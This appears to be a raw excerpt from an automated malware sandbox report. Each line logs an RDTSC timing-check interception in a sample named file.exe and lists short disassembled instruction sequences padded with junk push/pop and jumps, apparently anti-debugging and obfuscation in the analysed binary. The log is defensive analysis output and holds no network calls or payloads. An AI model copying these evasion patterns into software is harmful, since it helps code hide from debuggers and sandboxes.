Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBDD4 second address: 8CBDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAAA8 second address: 8CAAC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d je 00007EFE30DC1B06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB014 second address: 8CB023 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFE30C69F06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB023 second address: 8CB029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBAB2 second address: 8CBAB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBAB6 second address: 8CBAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jo 00007EFE30DC1B06h 0x00000011 popad 0x00000012 ja 00007EFE30DC1B0Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF772 second address: 8CF776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF776 second address: 8CF793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007EFE30DC1B0Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF793 second address: 8CF7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jnl 00007EFE30C69F06h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD8ED second address: 8DD913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007EFE30DC1B16h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push edi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD913 second address: 8DD91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD91E second address: 8DD922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD922 second address: 8DD930 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFE30C69F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF032 second address: 8DF03D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D97AC second address: 8D97B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D97B0 second address: 8D97B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE58D second address: 8EE599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007EFE30C69F06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE420 second address: 8EE432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE432 second address: 8EE438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F151C second address: 8F153D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B19h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F105E second address: 8F107A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007EFE30C69F17h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F11C7 second address: 8F11CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F11CB second address: 8F11CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F11CF second address: 8F11D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F11D5 second address: 8F1203 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F11h 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop esi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnl 00007EFE30C69F08h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jno 00007EFE30C69F06h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907181 second address: 907188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90654B second address: 90658C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F15h 0x00000009 popad 0x0000000a jmp 00007EFE30C69F0Ch 0x0000000f pop esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007EFE30C69F17h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906CD7 second address: 906CDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906CDB second address: 906CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 js 00007EFE30C69F24h 0x0000000d jnp 00007EFE30C69F12h 0x00000013 jp 00007EFE30C69F06h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906CF6 second address: 906D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906E54 second address: 906E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906E5A second address: 906E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909E0A second address: 909E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFE30C69F06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909E15 second address: 909E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909E1B second address: 909E49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jg 00007EFE30C69F06h 0x00000011 jmp 00007EFE30C69F18h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909E49 second address: 909E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909E4D second address: 909E87 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007EFE30C69F10h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007EFE30C69F0Ch 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007EFE30C69F0Bh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A0DD second address: 90A151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop esi 0x00000008 popad 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007EFE30DC1B08h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push dword ptr [ebp+122D3358h] 0x0000002c or dword ptr [ebp+1245177Dh], eax 0x00000032 mov dword ptr [ebp+122D2E13h], edx 0x00000038 call 00007EFE30DC1B09h 0x0000003d pushad 0x0000003e jmp 00007EFE30DC1B13h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007EFE30DC1B18h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A151 second address: 90A155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B406 second address: 90B410 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B410 second address: 90B414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D129 second address: 90D12D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D12D second address: 90D133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D133 second address: 90D153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007EFE30DC1B25h 0x0000000d jmp 00007EFE30DC1B0Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D153 second address: 90D159 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CD1B second address: 90CD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CD24 second address: 90CD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CD2A second address: 90CD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CD2E second address: 90CD4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFE30C69F0Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90ED85 second address: 90ED89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7032C second address: 4F70344 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70344 second address: 4F7034A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7034A second address: 4F703B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edi, si 0x0000000e pushfd 0x0000000f jmp 00007EFE30C69F0Ah 0x00000014 sub ch, 00000008h 0x00000017 jmp 00007EFE30C69F0Bh 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007EFE30C69F16h 0x00000024 mov ebp, esp 0x00000026 jmp 00007EFE30C69F10h 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F703B0 second address: 4F703B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F703B4 second address: 4F703D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F703D1 second address: 4F703E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFE30DC1B0Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70411 second address: 4F70417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70417 second address: 4F7041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7041B second address: 4F7041F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7041F second address: 4F7043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFE30DC1B15h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7043F second address: 4F704AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007EFE30C69F0Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 pop edi 0x00000017 mov ecx, 7F847CBFh 0x0000001c popad 0x0000001d pushfd 0x0000001e jmp 00007EFE30C69F14h 0x00000023 or esi, 42737FA8h 0x00000029 jmp 00007EFE30C69F0Bh 0x0000002e popfd 0x0000002f popad 0x00000030 pop ebp 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007EFE30C69F12h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822DC2 second address: 822DD8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFE30DC1B0Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70519 second address: 4F7051F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7051F second address: 4F7052E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7052E second address: 4F70532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70532 second address: 4F70543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70543 second address: 4F70549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70549 second address: 4F7054D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7054D second address: 4F70551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70551 second address: 4F7058B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov dl, 9Bh 0x0000000e push esi 0x0000000f movsx edx, ax 0x00000012 pop eax 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007EFE30DC1B0Eh 0x0000001e jmp 00007EFE30DC1B12h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7058B second address: 4F70591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F705F8 second address: 4F706AC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFE30DC1B10h 0x00000008 xor eax, 56970038h 0x0000000e jmp 00007EFE30DC1B0Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007EFE30DC1B18h 0x0000001c add ax, FA98h 0x00000021 jmp 00007EFE30DC1B0Bh 0x00000026 popfd 0x00000027 popad 0x00000028 add dword ptr [esp], 28927ACBh 0x0000002f jmp 00007EFE30DC1B16h 0x00000034 call 00007EFEA13C5491h 0x00000039 push 755727D0h 0x0000003e push dword ptr fs:[00000000h] 0x00000045 mov eax, dword ptr [esp+10h] 0x00000049 mov dword ptr [esp+10h], ebp 0x0000004d lea ebp, dword ptr [esp+10h] 0x00000051 sub esp, eax 0x00000053 push ebx 0x00000054 push esi 0x00000055 push edi 0x00000056 mov eax, dword ptr [75600140h] 0x0000005b xor dword ptr [ebp-04h], eax 0x0000005e xor eax, ebp 0x00000060 push eax 0x00000061 mov dword ptr [ebp-18h], esp 0x00000064 push dword ptr [ebp-08h] 0x00000067 mov eax, dword ptr [ebp-04h] 0x0000006a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000071 mov dword ptr [ebp-08h], eax 0x00000074 lea eax, dword ptr [ebp-10h] 0x00000077 mov dword ptr fs:[00000000h], eax 0x0000007d ret 0x0000007e jmp 00007EFE30DC1B10h 0x00000083 and dword ptr [ebp-04h], 00000000h 0x00000087 jmp 00007EFE30DC1B10h 0x0000008c mov edx, dword ptr [ebp+0Ch] 0x0000008f push eax 0x00000090 push edx 0x00000091 jmp 00007EFE30DC1B17h 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F706AC second address: 4F706FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007EFE30C69F0Ah 0x00000013 and cx, C418h 0x00000018 jmp 00007EFE30C69F0Bh 0x0000001d popfd 0x0000001e mov ah, 1Fh 0x00000020 popad 0x00000021 mov dx, 6348h 0x00000025 popad 0x00000026 mov al, byte ptr [edx] 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007EFE30C69F0Ah 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F706FF second address: 4F706FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFE30DC1B11h 0x00000008 mov eax, 153F27A7h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 inc edx 0x00000011 jmp 00007EFE30DC1B0Ah 0x00000016 test al, al 0x00000018 pushad 0x00000019 push eax 0x0000001a mov cl, bl 0x0000001c pop eax 0x0000001d call 00007EFE30DC1B0Fh 0x00000022 movzx esi, bx 0x00000025 pop edx 0x00000026 popad 0x00000027 jne 00007EFE30DC1AB0h 0x0000002d mov al, byte ptr [edx] 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007EFE30DC1B0Ah 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707A5 second address: 4F707A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707A9 second address: 4F707C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707C6 second address: 4F707CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707CC second address: 4F7081D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edi 0x0000000c jmp 00007EFE30DC1B16h 0x00000011 test al, al 0x00000013 pushad 0x00000014 popad 0x00000015 jne 00007EFEA13B9D85h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007EFE30DC1B15h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7081D second address: 4F70823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70823 second address: 4F70827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70827 second address: 4F7083A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 mov ecx, edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7083A second address: 4F7087A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 shr ecx, 02h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007EFE30DC1B0Eh 0x00000013 and ah, 00000038h 0x00000016 jmp 00007EFE30DC1B0Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e mov edi, eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7087A second address: 4F708B1 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 15h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 rep movsd 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 jmp 00007EFE30C69F0Dh 0x00000016 mov ecx, edx 0x00000018 jmp 00007EFE30C69F0Eh 0x0000001d and ecx, 03h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007EFE30C69F0Ah 0x00000029 rdtsc
